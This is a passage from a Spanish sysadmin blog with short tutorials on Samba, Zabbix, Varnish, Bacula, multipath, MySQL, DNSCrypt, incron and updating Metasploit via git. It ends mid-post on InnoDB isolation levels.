Papelera de reciclaje en Samba

Samba es un servidor de archivos que emplea el protocolo SMB/CIFS para permitir la compartición simple de archivos entre equipos, tanto Linux como Windows. Crear un servidor Samba es bastante sencillo y no tiene demasiada complicación poner a funcionar el servicio. Sin embargo, una de las cosas que más gente que lo usa se queja es que no existe una papelera de reciclaje. Esto quiere decir, cuando un usuario elimina desde un equipo Windows un archivo, éste se elimina permanentemente del servidor. No es necesario emplear la combinación Shift - Del para suprimirlo definitivamente.
Por defecto, todos los sistemas operativos dejan los archivos que se borran en la papelera, por seguridad, ya que borrar un fichero es algo delicado. Si nos equivocamos, podemos perder mucho trabajo en muy poco tiempo. Hoy vamos a ver cómo crear una papelera en el servidor Samba, para que todas las cosas que se borren, realmente vayan a la papelera y pasado un tiempo, éstas se borren.
Para empezar, necesitamos editar el fichero de configuración general de samba, smb.conf y añadirle las siguientes líneas en la parte global.
recycle:repository = /tmp/Trash/%u
recycle:keeptree   = TRUE
recycle:versions   = TRUE
recycle:touch      = TRUE
Una vez las tengamos, debemos también de añadir un atributo especial a las carpetas que deseemos que estén afectadas por la configuración de la papelera. En cada carpeta deberemos añadir al final de su configuración la siguiente línea.
[carpeta en red]
   comment = Carpeta en red
   path = /srv/datos
   ...
   vfs objects = recycle
Ya para ir terminando, sólo nos queda crear la carpeta que hemos designada como papelera,
shell> mkdir /tmp/Trash
Sólo para dejarlo claro, podemos usar todos los operandos de Samba para la configuración de las carpetas. En mi caso empleé el nombre de usuario (%u), pero puede emplear el que desees.
Ahora ya sólo nos queda reiniciar el servicio de Samba para poder disfrutar de la nueva configuración.
Desde ahora, cualquier archivo que borre el usuario realmente el servidor lo moverá a ésta carpeta que realizará las tareas de papelera. Si un usuario los necesita, simplemente tendrá que pedirlos al administrador y los podrá recuperar sin tener que recurrir al backup.
Este método tiene un problema, la carpeta Trash podría crecer desmesuradamente, ya que no hay ningún proceso que se encargue de borrarla. En el próximo post, veremos cómo hacerlo.

Más info en la web oficial.
Leer más

Lock wait timeout exceeded in zabbix

Zabbix es un muy buen sistema de monitorización, sin embargo tiene varios problemas ampliamente comentados. Uno de los principales es el empleo intensivo que hace de la base de datos. Por defecto, el servidor Zabbix, así como el interfaz gráfico, realizan un gran número de operaciones contra la base de datos, lo que hace que ésta necesite una gran cantidad de RAM, así como un disco con un muy buen rendimiento. Esto es necesario y se nota especialmente cuando el número de equipos a controlar es alto (más de 5k hosts).
Otro de los problemas que presenta zabbix, bajo mi punto de vista es que no emplea valores autoincrementales. Si miramos las tablas de la base de datos, veremos que todas tienen un id numérico (eventid, historyid, itemid, etc.). Estos valores son numéricos y contiguos, es decir, incrementales, pero sin embargo es el zabbix-server el que se encarga de calcularlos y no los deja en manos del motor de base de datos. Esto es así para ofrecer compatibilidad con SQLite, pero el problema que presenta es todo lo contrario en bases de datos tipo MySQL o Postgress con una carga importante.
Para saber cual es el próximo id a insertar, existe la tabla ids que contiene sobre 40 filas con los ids de cada una de las tablas y es el propio servidor el que calcula el siguiente id y actualiza dicha tabla. Hablando con datos exactos, lanza consultas de este tipo: "update ids set nextid=nextid+1 where nodeid=0 and table_name='events' and field_name='eventid'". Ahora, si la carga del sistema es elevada, cientos o incluso miles de vps (valores por segundo), entonces puede que tengamos en los log's los siguientes mensajes, y además muy abundantes.
...
23966:20120412:234746.094 [Z3005] query failed: [1205] Lock wait timeout exceeded; try restarting transaction [update ids set nextid=nextid+1 where nodeid=0 and table_name='events' and field_name='eventid']
23942:20120412:234750.128 slow query: 50.982490 sec, "update ids set nextid=nextid+1 where nodeid=0 and table_name='events' and field_name='eventid'"
zabbix_server [23942]: ERROR [file:db.c,line:1582] Something impossible has just happened.
...
23969:20120412:234752.153 [Z3005] query failed: [1205] Lock wait timeout exceeded; try restarting transaction [update ids set nextid=nextid+1 where nodeid=0 and table_name='events' and field_name='eventid']
23969:20120412:234752.153 slow query: 50.206625 sec, "update ids set nextid=nextid+1 where nodeid=0 and table_name='events' and field_name='eventid'"
zabbix_server [23969]: ERROR [file:db.c,line:1582] Something impossible has just happened.
El problema, "Lock wait timeout exceeded; try restarting transaction" en realidad no tiene nada que ver con Zabbix, sino que es un fallo de MySQL cuando dos procesos intentan acceder a la misma fila de una tabla y no pueden. Si hay un gran número de eventos a escribir, estos mensajes aparecen con más frecuencia.
Navegando por la red encontré una posible solución, que la verdad es muy sencilla. La solución es pasar la tabla ids de InnoDB a MyISAM ya que resulta que para este tipo de casos la segunda es más rápida que la primera.
mysql> ALTER TABLE ids ENGINE = MyISAM;
Tras realizar este cambio, el número de mensajes como el descrito, sino desaparecen cuando menos sí deberían de descender en frecuencia.
Leer más

Varnish, configuración avanzada

El otro día comentamos cómo instalar Varnish en nuestro equipo y configurarlo para que cachee contenidos a nivel local, pero también hablamos de que podía hacer de proxy inverso para nuestros sistemas. Es decir, podemos tener un número n de servidores con Apache (por ejemplo) sirviendo una página web y que todo el contenido estático lo sirva Varnish, dejando la parte dinámica en round-robin entre los servidores de backend. Toda la configuración es la misma que la presentada en el post de instalación. Lo único que cambiará será el contenido del fichero /etc/varnish/default.vcl, que contendrá los equipos a los que conectarse.
director www_master round-robin {
   { .backend = { .host = "192.168.0.33"; .port = "http"; } }
   { .backend = { .host = "192.168.0.34"; .port = "http"; } }
}
 
sub vcl_recv {
   set req.backend = www_master;
   remove req.http.X-Forwarded-For;
   set req.http.X-Forwarded-For = client.ip;
}
E incluso una configuración más compleja, con varios virtualhost y varios servidores de backend
director web_master round-robin {
   { .backend = { .host = "192.168.0.33"; .port = "http"; } }
   { .backend = { .host = "192.168.0.34"; .port = "http"; } }
}
 
director mail_master round-robin {
   { .backend = { .host = "192.168.0.37"; .port = "8080"; } }
   { .backend = { .host = "192.168.0.65"; .port = "80"; } }
}
 
director photos_master round-robin {
   { .backend = { .host = "192.168.0.100"; .port = "http"; } }
}
 
sub vcl_recv {
   if (req.http.host ~ "^(mail.|webmail.)?domain.(com)$") {
      set req.backend = mail_master;
   }
 
   if (req.http.host ~ "^(fotos.|photos.)doamin.(com)$") {
      set req.backend = photos_master;
   }
 
   if (req.http.host ~ "^(www.)?doamin.(com)$") {
      set req.backend = web_master;
   }

   remove req.http.X-Forwarded-For;
   set req.http.X-Forwarded-For = client.ip;
}
Leer más

Restaurar ficheros en bacula

Bacula es un servidor de backup del que ya hablamos e hicimos alguna que otra cosa en este blog. Entre otras muchas facilidades permite conectarnos de forma transparente a una cabina de cintas y tener programadas una serie de tareas de backup que realiza automáticamente.
Como todo servicio de backup, si un día es necesario recuperar un archivo debe facilitarnos esa tarea, por lo tanto, vamos a ver cómo recuperar archivos que necesitemos de un equipo. Para ello haremos uso del comando bconsole, la consola de conexión y control de Bacula.
shell> bconsole 
Connecting to Director backup.local.net:9101
1000 OK: backup-dir Version: 5.0.2 (28 April 2010)
Enter a period to cancel a command.
*
Este comando nos abrirá un pequeño promt con comandos específicos para el manejo de Bacula  El objetivo de este post no es otro que enseñar a recuperar un archivo desde backup, así que emplearemos el comando restore. Si deseamos más información de lo que se puede o no hacer, tenemos el comando help.
Al seleccionar el modo de recuperación, nos aparecerán las siguiente opciones.
* restore
Automatically selected Catalog: MyCatalog
Using Catalog "MyCatalog"

First you select one or more JobIds that contain files
to be restored. You will be presented several methods
of specifying the JobIds. Then you will be allowed to
select which files from those JobIds are to be restored.

To select the JobIds, you have the following choices:
     1: List last 20 Jobs run
     2: List Jobs where a given File is saved
     3: Enter list of comma separated JobIds to select
     4: Enter SQL list command
     5: Select the most recent backup for a client
     6: Select backup for a client before a specified time
     7: Enter a list of files to restore
     8: Enter a list of files to restore before a specified time
     9: Find the JobIds of the most recent backup for a client
    10: Find the JobIds for a backup for a client before a specified time
    11: Enter a list of directories to restore for found JobIds
    12: Select full restore to a specified Job date
    13: Cancel
Select item: (1-13): 5
Aquí tenemos que elegir una y en nuestro caso, como nos interesa recuperar un archivo de un equipo concreto, la mejor forma es seleccionando la opción 5, "Select the most recent backup for a client". A continuación se nos mostrará un listado de todos los equipos de los que hacemos backup, seleccionaremos el que deseemos.
Defined Clients:
     1: backup-fd
     2: bacula-fd
     3: dhcp-fd
     4: mail-fd
     5: mirror-fd
     6: zabbix-fd
Select the Client (1-6): 6
Tras la selección, Bacula hará un reescaneo de todos los datos que tiene de ese equipo. Puesto que el catálogo lo almacena en base de datos, no habrá que consultarlo en disco/cinta, por lo que será más rápido. Tras recuperar todo el catálogo se nos dará acceso a un promt especial, similar a la navegación en shell de GNU/Linux. De esta forma veremos los archivos de los que tenemos backup y podremos navegar por carpetas y ficheros. Los comandos más importantes y necesarios aquí son cd, ls, mark, markdir y done. En especial estos últimos 3, que se emplearán para marcar los archivos o carpetas que deseemos recuperar y done, que indicará que la selección ha finalizado y se procederá a la recuperación de los datos.
Automatically selected FileSet: zabbix-fs
+-------+-------+----------+----------+------------------+------------+
| JobId | Level | JobFiles | JobBytes | StartTime        | VolumeName |
+-------+-------+----------+----------+------------------+------------+
| 6,644 | F     |    2,219 |  940,846 | 2013-01-13 02:06 | 368BGLL4   |
| 6,671 | I     |       12 |  786,796 | 2013-01-14 02:05 | 365BGLL4   |
| 6,698 | I     |       13 |  253,813 | 2013-01-15 02:05 | 365BGLL4   |
| 6,725 | I     |       12 |  287,815 | 2013-01-16 02:05 | 365BGLL4   |
+-------+-------+----------+----------+------------------+------------+
You have selected the following JobIds: 6644,6671,6698,6725

Building directory tree for JobId(s) 6644,6671,6698,6725... ++++++++++++
1,943 files inserted into the tree.

You are now entering file selection mode where you add (mark) and
remove (unmark) files to be restored. No files are initially added, unless
you used the "all" keyword on the command line.
Enter "done" to leave this mode.

cwd is: /
$ ls
 etc/
 usr/
 var/
$ cd etc
cwd is: /etc/
$ ls
 aide/
 bacula/
 group
 hostname
 passwd
 postfix/
 puppet/
 ssh/
 zabbix/
$ cd zabbix/ 
cwd is: /etc/zabbix/
$ ls
 zabbix_agent.conf
 zabbix_agentd.conf
$ mark zabbix_agentd.conf
1 file marked.
$ done
Bootstrap records written to /var/lib/bacula/zabbix-dir.restore.1.bsr

The job will require the following
 Volume(s)     Storage(s)     SD Device(s)
===========================================
 *368BGLL4     ULT3580-HH4     ULT3580-HH4              

Volumes marked with "*" are online.

1 file selected to be restored.

Run Restore job
JobName:         RestoreFiles
Bootstrap:       /var/lib/bacula/zabbix-dir.restore.1.bsr
Where:           /tmp/bacula-restores
Replace:         always
FileSet:         Full Set
Backup Client:   zabbix-fd
Restore Client:  zabbix-fd
Storage:         ULT3580-HH4
When:            2013-01-16 19:56:16
Catalog:         MyCatalog
Priority:        10
Plugin Options:  *None*
OK to run? (yes/mod/no): yes
Como se puede observar, al escribir done nos indica que se va a proceder a recuperar los ficheros seleccionados y creará un nuevo trabajo de restauración para tal efecto. Si no modificamos ninguna de las opciones, por defecto nos dejará los ficheros seleccionados en /tmp/bacula-restores del equipo remoto. Ya luego tendremos manualmente que moverlos a donde corresponda si procede.
En mi caso, puesto que empleo cintas de backup como medio de almacenamiento, esta tarea se puede demorar algo más, puesto que debe ir buscando los archivos solicitados entre los más recientes en las cintas que procedan. Si empleas disco como medio, será mucho más rápido.
Leer más

Controlar el multipath

En el post anterior explicamos de forma muy simple cómo hacer para instalar y arrancar el servicio de multipath, lo que permitiría tener varios accesos a una misma cabina. Así en caso de problemas con una de las rutas, los datos seguirían estando disponibles.
A fecha de hoy, la gran mayoría de las controladoras tienen ya un buen soporte en el kernel de Linux, pero puede ser que alguna todavía no esté 100% soportada y haya que realizar alguna configuración manual. En caso de que sí estemos trabajando con una soportada, el mapeo de las unidades será automático y estará bajo /dev/mapper/mpathb, /dev/mapper/mpathc, etc. Estos dispositivos los podremos tratar como dispositivos sda, por lo que podremos verlos directamente con herramientas tipo fdisk.
Una vez que ya tengamos configurado y funcionando el multipath, la mejor forma de poder controlarlo y chequearlo es con la shell que el propio comando nos ofrece. Para ello,
shell> multipathd -k
multipathd>
Una vez dentro, algunos de los comandos más útiles son los siguientes:
  • Estado de los path
    multipathd> show multipaths status
    name    failback   queueing  paths  dm-st   write_prot
    mpathb  immediate  -         4      active  rw
    
  • multipath disponibles y mappings
    multipathd> show multipaths
    name   sysfs uuid
    mpathb dm-0  360a98000572d4275525a693862534571
    mpathc dm-1  360a98000572d4275525a693875677278
    multipathd> show maps
    name   sysfs uuid
    mpathb dm-0  360a98000572d4275525a693862534571
    mpathc dm-1  360a98000572d4275525a693875677278
    
  • Ver todos los path
    multipathd> show paths
    hcil    dev dev_t pri dm_st  chk_st dev_st  next_check
    1:0:0:0 sdb 8:16  4   active ready  running XXXXXXXXXX 20/20
    1:0:0:1 sdc 8:32  4   active ready  running XXXXXXXXXX 20/20
    2:0:0:0 sdd 8:48  4   active ready  running XXXXXXXXX. 19/20
    2:0:0:1 sde 8:64  4   active ready  running .......... 1/20
    2:0:1:0 sdf 8:80  1   active ready  running XXXXXXXXX. 18/20
    2:0:1:1 sdg 8:96  1   active ready  running XXXXXXXXXX 20/20
    1:0:1:0 sdh 8:112 1   active ready  running XXXXXXXXX. 18/20
    1:0:1:1 sdi 8:128 1   active ready  running XXXXXXXXX. 19/20
    
  • Topología y políticas por multipath
    En este caso vemos dos LUN de fibra de 500G montadas en una cabina de discos NetAPP. La política es round-robin 0, con todos sus path activos.
    multipathd> show topology
    mpathb (360a98000572d4275525a693862534571) dm-0 NETAPP,LUN
    size=500G features='1 queue_if_no_path' hwhandler='0' wp=rw
    |-+- policy='round-robin 0' prio=4 status=active
    | |- 1:0:0:0 sdb 8:16  active ready running
    | `- 2:0:0:0 sdd 8:48  active ready running
    `-+- policy='round-robin 0' prio=1 status=enabled
      |- 2:0:1:0 sdf 8:80  active ready running
      `- 1:0:1:0 sdh 8:112 active ready running
    mpathc (360a98000572d4275525a693875677278) dm-1 NETAPP,LUN
    size=500G features='1 queue_if_no_path' hwhandler='0' wp=rw
    |-+- policy='round-robin 0' prio=4 status=active
    | |- 1:0:0:1 sdc 8:32  active ready running
    | `- 2:0:0:1 sde 8:64  active ready running
    `-+- policy='round-robin 0' prio=1 status=enabled
      |- 2:0:1:1 sdg 8:96  active ready running
      `- 1:0:1:1 sdi 8:128 active ready running
    
  • Ayuda
    El comando help nos mostrará todos los comandos disponibles con los que podremos gestionar completamente el multipath.
    Se puede suspender un camino, cambiarle el estado, eliminarlo, etc:
    multipathd> help
    multipath-tools v0.4.9 (04/04, 2009)
    CLI commands reference:
     list|show paths
     list|show paths format $format
     list|show status
     list|show daemon
     list|show maps|multipaths
     list|show maps|multipaths status
     list|show maps|multipaths stats
     list|show maps|multipaths format $format
     list|show maps|multipaths topology
     list|show topology
     list|show map|multipath $map topology
     list|show config
     list|show blacklist
     list|show devices
     list|show wildcards
     add path $path
     remove|del path $path
     add map|multipath $map
     remove|del map|multipath $map
     switch|switchgroup map|multipath $map group $group
     reconfigure
     suspend map|multipath $map
     resume map|multipath $map
     resize map|multipath $map
     disablequeueing map|multipath $map
     restorequeueing map|multipath $map
     disablequeueing maps|multipaths
     restorequeueing maps|multipaths
     reinstate path $path
     fail path $path
     paths count
     quit|exit
    
Leer más

MySQL Quick Status

Si deseas obtener información sencilla pero útil de tu base de datos, únicamente ejecuta \s, con la que obtendrás una pequeña salida del estado del servidor.
mysql> \s
--------------
mysql  Ver 14.14 Distrib 5.5.25a, for Linux (i686) using readline 5.1

Connection id:      464882
Current database:    test
Current user:      root@localhost
SSL:       Not in use
Current pager:      stdout
Using outfile:      ''
Using delimiter:     ;
Server version:      5.5.25a-27.1-log Percona Server (GPL), Release 27.1
Protocol version:    10
Connection:      Localhost via UNIX socket
Insert id:      6
Server characterset: latin1
Db     characterset: latin1
Client characterset: latin1
Conn.  characterset: latin1
UNIX socket:      /var/run/mysqld/mysqld.sock
Uptime:       71 days 19 hours 46 min 2 sec

Threads: 10
Questions: 67830202
Slow queries: 30
Opens: 10555
Flush tables: 1
Open tables: 400
Queries per second avg: 10.930
--------------

Leer más

Peticiones DNS cifradas


Cada vez más se empieza a escuchar que los proveedores de Internet o ISP's están controlando y restringiendo el tráfico que generamos. Una de las formas más sencillas y también más simples de saltar es el control del DNS. Un nombre DNS no es más que una forma fácil de acordarse de una IP, que es la que realmente sirve el contenido. Si bien todos nos tuviéramos que acordar de la IP 173.194.66.94 cada vez que accediésemos a Google fijo que éste tendría muchas menos visitas. Esto es lo que hace el DNS, simplificar.
Pues bien, de la misma forma que simplifica, también es fácil obtener las cadenas a las que deseas acceder y evitar que las visites. Por ejemplo, cada vez que vayas a Google, mandarte a Yahoo! o a una web que indique que el contenido está prohibido. Esto con un ataque MITM (Ataque Man-in-the-middle) es fácil de realizar y los ISP's realmente están a ese nivel con nosotros.
Por suerte existe un proyecto que ofrece una versión libre de DNS's, OpenDNS. Éste nos ofrece las mismas garantías que el resto de servidores DNS que están disponibles por la red, pero tiene a mayores la peculiaridad de que acepta tráfico DNS encriptado y por supuesto lo devuelve encriptado. Por lo tanto, la idea sería tener una implementación https bajo el protocolo DNS.
Visitando la web de OpenDNS se nos linka a un proyecto, DNSCrypt, que hace exactamente lo que hemos comentado anteriormente. Cifra nuestro tráfico entre origen y destino evitando las molestas escuchas, convirtiendo nuestro equipo local en nuestro proveedor de DNS, que lanza posteriormente las consultas fuera. Vamos a ver cómo instalarlo y usarlo.
  1. Descargamos el código desde github
  2. Extraemos y compilamos el código
    shell> tar xxvf dnscrypt-proxy-1.2.0.tar.gz
    shell> cd dnscrypt-proxy-1.2.0
    shell> ./configure
    shell> make
    shell> make install
    
  3. Arrancamos el servicio
    shell> dnscrypt-proxy --daemonize
    
  4. Cambiamos el servidor DNS del equipo
    Por defecto en los equipos Linux tendremos que editar el fichero /etc/resolv.conf y dejarlo con el siguiente contenido.
    nameserver 127.0.0.1
    
  5. Comprobamos
    shell> dig www.google.es
    
Aunque las preguntas las estemos a realizar a nuestro DNS local, realmente las está respondiendo OpenDNS y toda la comunicación irá cifrada, creando así una comunicación DNS segura.

La entrada Peticiones DNS cifradas la puedes leer en Puppet Linux.
Leer más

Monitorizar cambios en carpetas

Fijo que a muchos de vosotros alguna vez os interesó saber quién o cuando se modificaba un archivo y también que os llegase un aviso o que por lo menos quedase registrado en los log's. Aunque ya vimos una forma de hacerlo con audit, hoy os quiero presentar un servicio que se dedica sólo a eso. Se llama incron y, por definirlo, se podría decir que es un pequeño servicio que de dedica a monitorizar las carpetas que le indicamos y ejecutar acciones cuando detecta un cambio (también el que indiquemos).
incron está disponible tanto en Debian/Ubuntu como en CentOs/Red Hat en los repositorios, así que la instalación es sencilla.
shell> apt-get install incron
El fichero de configuración principal es /etc/incron.conf, pero su configuración por defecto nos sirve perfectamente. Dentro de la carpeta /etc/incron.d se colocan todos aquellos archivos de configuración que deseemos incluir con el siguiente formato.
directorio  cambio_a_monitorear  comando_a_ejecutar  parámetros
De los cuales,
  • directorio
    Ruta completa al path que deseamos monitorizar
  • cambio_a_monitorear
    Tipo de cambio sobre el que se va a alertar. Puede ser más de uno, separados por comas. Los cambios disponibles son:
    • IN_ACCESS
      Se accedió a un archivo del directorio
    • IN_ATTRIB
      Se cambió algunos de los atributos de algún archivo
    • IN_CLOSE_WRITE
      Archivo abierto para escritura fue cerrado
    • IN_CLOSE_NOWRITE
      Archivo abierto no fue cerrado
    • IN_CREATE
      Se creó un nuevo fichero o directorio
    • IN_DELETE
      Se borró un fichero o directorio
    • IN_DELETE_SELF
      Fichero o directorio se borró a si mismo
    • IN_MODIFY
      El archivo fue modificado
    • IN_MOVE_SELF
      El archivo se movió a si mismo
    • IN_MOVED_FROM
      Se movió un archivo a otro directorio
    • IN_MOVED_TO
      Se movió un archivo a este directorio
    • IN_OPEN
      El archivo fue abierto
    • IN_ALL_EVENTS
      Todos los eventos
  • comando_a_ejecutar
    Comando bash a ejecutar.
  • parámetros
    Variables que pueden ser pasadas al comando como parámetros.
    • $$
      Símbolo del dolar
    • $@
      Ruta completa del directorio monitorizado
    • $#
      Archivo que produjo el evento
    • $%
      Nombre del evento que produce la alerta. Son de la lista anterior
    • $&
      Número de evento
Un ejemplo de fichero de configuración que monitorice todo lo ocurrido en /tmp/example puede ser,
/tmp/example  IN_ALL_EVENTS  logger  "$% $#"
Y lo que hacemos es que todo lo que suceda lo envía con logger a syslog. Si ahora vemos lo ocurrido,
logger: "IN_CLOSE_NOWRITE,IN_ISDIR "
logger: "IN_OPEN,IN_ISDIR "
incrond[14571]: (system::test) CMD (logger "IN_CREATE file2")
incrond[14571]: (system::test) CMD (logger "IN_OPEN file2")
incrond[14571]: (system::test) CMD (logger "IN_ATTRIB file2")
incrond[14571]: (system::test) CMD (logger "IN_CLOSE_WRITE file2")
logger: "IN_CREATE file2"
logger: "IN_OPEN file2"
logger: "IN_CLOSE_WRITE file2"
logger: "IN_ATTRIB file2"
Y si en vez de emplear el comando logger empleamos el comando mail, se non enviaría una alerta al correo en cada evento que hayamos detectado.

La entrada Monitorizar cambios en carpetas la puedes leer en Puppet Linux.
Leer más

MySQL, ID de posición en SELECT

Muchas veces cuando hacemos una consulta SQL nos interesaría poder tener un ID al lado para poder posicionarnos o referirnos a una línea del resultado. Dicho de otra forma, tener un campo autoincremental que dependiese de la consulta y no de la propia tabla. Gracias a ese campo nos podríamos referir a los datos de la fila 4 y sería más rápido para todos poder referenciarlos.
mysql> SELECT alias,name FROM users;
+----------+---------+
| alias    | name    |
+----------+---------+
| Admin    | Zabbix  |
| guest    | Default |
| javier   | Javier  |
| adm      | Adm     |
| alberto  | Alberto |
+----------+---------+
Existe un pequeño truco en MySQL que nos permite hacer una consulta de ese tipo y obtener la fila extra que realmente interesa. A continuación lo vemos.
mysql> SET @num=0;
Query OK, 0 rows affected (0.00 sec)

mysql> SELECT @num:=@num+1 AS pos,alias,name from users;
+-----+----------+---------+
| pos | alias    | name    |
+-----+----------+---------+
|   1 | Admin    | Zabbix  |
|   2 | guest    | Default |
|   3 | javier   | Javier  |
|   4 | adm      | Adm     |
|   5 | alberto  | Alberto |
+-----+----------+---------+
Como bien podéis observar lo que hacemos es crear en tiempo de ejecución una variable, num, inicializada a  cero (o al valor que deseemos) y que luego la colocamos en el SELECT, incrementando el valor de ésta en cada iteración resultante. Así de forma muy sencilla tenemos el ID que estábamos buscando y que nos indica la posición de cada una de las filas.
Leer más

Metasploit se pasa a git

Recientemente actualicé la versión de metasploit, con la utilidad que trae para tal efecto, msfupdate, y obtuve un interesante mensaje relacionado con el cambio de sistema de versiones. Por lo que parece han decidido dejar de emplear svn y pasarse a git. Más concretamente ahora está el código disponible en https://github.com.
shell> msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[*] Deprecation Note: The next version of Metasploit will
[*] update over the git protocol, which requires outbound
[*] access to github.com:9418/TCP.
[*] Please adjust your egress firewall rules accordingly.
En la revisión 16314.
Aunque svn todavía está disponible para su uso, vamos a ver cómo pasar al nuevo sistema. Para ello debemos de instalar las utilidades de clonación de repositorios git. Prácticamente están disponibles para todas las distribuciones.
shell> apt-get install git-core
shell> yum install git
shell> pacman -S git
Una vez instalado el software, ya sólo queda clonar el código, para tener nuestra copia local y por lo tanto, nuestro framework disponible y actualizado.
shell> git clone git://github.com/rapid7/metasploit-framework.git

Cloning into metasploit-framework...
remote: Counting objects: 180679, done.
remote: Compressing objects: 100% (48858/48858), done.
remote: Total 180679 (delta 127197), reused 179204 (delta 126049)
Receiving objects: 100% (180679/180679), 199.89 MiB | 8.94 MiB/s, done.
Resolving deltas: 100% (127197/127197), done.
Ahora cada vez que deseemos actualizarlo, simplemente
shell> git pull

La entrada Metasploit se pasa a git la puedes leer en Puppet Linux.
Leer más

Varnish, cacheando contenido

Varnish es un pequeño servidor que actúa como proxy-caché de nuestro servidor web y que permite reducir notablemente las consultas a disco y por lo tanto acelerar las respuestas de la web. Varnish es por lo tanto un proxy inverso para un servidor web (Apache, Cherokee, etc) que permite a la vez que servir contenidos también mantenerlos en caché, acelerando así las respuestas. Aunque las páginas sean dinámicas y necesiten ser consultas a una base de datos, Varnish lo hace por nosotros, almacenando la página como estática en la memoria para que devolverla al cliente sea inmediato.
Varnish es software libre y está disponible en los repositorios de las principales distribuciones. Como lenguaje de configuración usa VLC (Varnish Configuration Language), un lenguaje propio que permite darle la flexibilidad y personalización que cada entorno necesita.
En este post vamos a configurar Varnish de forma sencilla para que nos cachee los contenidos de un servidor web (Apache) local que tenemos.
  1. Instalación
    Al emplear Debian como sistema operativo tenemos el paquete compilado en los repositorios oficiales.
    shell> apt-get install varnish
    
  2. Configuración de apache
    Como servidor de backend vamos a tener nuestro servidor Apache montado y escuchando en la IP pública o IP de DMZ correspondiente. Puesto que dejaremos que sea Varnish el encargado de servidor la web, es decir, escuchar en el puerto 80 de la IP "pública", configuraremos Apache para que escuche en el interfaz de localhost. Para ello editamos el fichero /etc/apache2/ports.conf dejándolo como sigue.
    NameVirtualHost 127.0.0.1:8080
    Listen 127.0.0.1:80
    
    <IfModule mod_ssl.c>
        Listen 443
    </IfModule>
    
    <IfModule mod_gnutls.c>
        Listen 443
    </IfModule>
    
    Fijaros que en esta configuración sólo cambiamos el puerto 80 de escucha a localhost. Si hay algo sirviéndose en https (puerto 443) será entregado por Apache directamente.
  3. Configuración de varnish
    Ahora que ya tenemos el backend en localhost:80 tenemos que configurar Varnish para que escuche en el puerto 80 de la IP "pública" y que envíe dichas peticiones al backend.
    Lo primero de todo, configurar el comportamiento por defecto del nuevo servicio. En este caso editamos el fichero /etc/default/varnish.
    START=yes
    
    DAEMON_OPTS="-a 192.168.0.33:80 \
        -T 192.168.0.33:6082 \
        -u varnish \
        -g varnish \       
        -f /etc/varnish/default.vcl \
        -S /etc/varnish/secret \
        -s file,/var/lib/varnish/varnish_storage.bin,1G"
    
    Una vez que ya tenemos esto, simplemente queda por crear el contenido del fichero /etc/varnish/default.vcl, que tendrá el comportamiento del servicio propiamente dicho.
    director www_master round-robin {
       { .backend = { .host = "127.0.0.1"; .port = "80"; } }
    }
     
    sub vcl_recv {
       set req.backend = www_master;
       remove req.http.X-Forwarded-For;
       set req.http.X-Forwarded-For = client.ip;
    }
    
    Este fichero es muy simple, puesto que no hay nada especial en él, simplemente indicamos que el proveedor de datos (Apache) está en localhost:80.
  4. Arrancando servicios
    Ahora que ya está todo guardado, simplemente lanzamos los servicios para que nuestro servidor quede nuevamente funcionando, pero con un proxy caché intermedio.
    shell> /etc/init.d/apache2 restart
    shell> /etc/init.d/varnish start
    
Leer más

MySQL random value

Si alguna vez os habéis preguntado cómo se obtiene un valor aleatorio de una tabla, a continuación podéis ver cómo hacerlo.
Partimos del siguiente esquema de tabla con valores,
CREATE TABLE temp (
   id int(11) NOT NULL auto_increment,
   value int,
   PRIMARY KEY (id)
);
Para obtener un registro aleatorio de los que hay, simplemente debemos realizar un ORDER BY RAND,
mysql> SELECT * FROM temp ORDER BY RAND() LIMIT 1;
Leer más

Transaction isolation level for innodb

MySQL es un excelente motor de base de datos e InnoDB la tecnología de almacenamiento de datos perfecta para completar la tupla. Antes de aparecer InnoDB existía MyISAM, el cual era menos robusto y seguro, de ahí que desde la versión 5.5 sea InnoDB el método de almacenamiento por defecto.
Una de las ventajas que presenta InnoDB es el nivel de aislamiento que tiene una transacción respecto de otra. En la actualidad existen 4 métodos disponibles con los que trabajar, lo cuales vamos a ver a continuación y ver cual es mejor en cada caso.
  • READ UNCOMMITTED
    Las sentencias SELECT son realizadas directamente sin ningún tipo de bloqueo en los datos. Este método puede dar un tipo de información antigua en caso de que otro valor se esté a escribir.
    Este nivel de transacción es muy útil en caso de necesitar velocidad de lectura, pero sin la necesidad de tener disponible el último valor en todos los casos.
    A esto se lo conoce como "lectura sucia".
  • READ COMMITTED
    Todas las sentencias SELECT ... FOR UPDATE y SELECT ... LOCK IN SHARE MODE bloquean solamente los registros de índice, no los espacios vacíos que los preceden, por lo tanto se permite la libre inserción de nuevos registros junto a los bloqueados.
    Las sentencias UPDATE y DELETE que empleen un índice único con una condición de búsqueda única bloquean solamente el registro de índice hallado, no el espacio que lo precede. En las sentencias UPDATE y DELETE que actúan sobre rangos de registros, InnoDB debe bloquear los espacios vacíos y bloquear las inserciones de otros usuarios en los espacios vacíos que hay dentro del rango. Esto es necesario debido a que las filas fantasma deben ser bloqueadas para que funcionen la replicación y recuperación en MySQL.
    Las lecturas consistentes tienen un comportamiento muy similar al de Oracle: Cada lectura establece y lee su propia captura tomada de la base de datos.
  • REPEATABLE READ
    Este es el nivel de aislamiento predeterminado en InnoDB.
    Las sentencias SELECT ... FOR UPDATE, SELECT ... LOCK IN SHARE MODE, UPDATE, y DELETE que utilicen un índice único con una condición de búsqueda única, bloquean solamente el registro de índice hallado, no el espacio vacío que lo precede. Con otras condiciones de búsqueda, estas operaciones emplean bloqueo de clave siguiente (next-key), bloqueando el rango de índice cubierto por la operación incluyendo los espacios vacíos, y bloqueando las nuevas inserciones por parte de otros usuarios.
    En lecturas consistentes hay una importante diferencia con respecto al nivel de aislamiento anterior. En este nivel, todas las lecturas consistentes dentro de la misma transacción leen de la captura de la base de datos tomada por la primer lectura. Esta práctica significa que si se emiten varias sentencias SELECT dentro de la misma transacción y por lo tanto éstas serán consistentes unas con otras.
  • SERIALIZABLE
    Este nivel es similar a REPEATABLE READ, pero todas las sentencias SELECT son convertidas implícitamente a SELECT ... LOCK IN SHARE MODE.
Por defecto, como ya se comentó, el nivel elegido por InnoDB es REPEATABLE READ, ya que ofrece una mejor garantía de consistencia de los datos a mejor carga, pero este nivel se puede cambiar a nivel global o de sesión.
En caso de que nos interese cambiar a nivel global lo mejor es realizarlo desde el fichero de configuración, my.cnf,
[mysqld]
 transaction-isolation = READ-UNCOMMITTED
Y en caso de que deseemos cambiar sólo para una sesión, lo más fácil es actuar sobre la variable que lo controla,
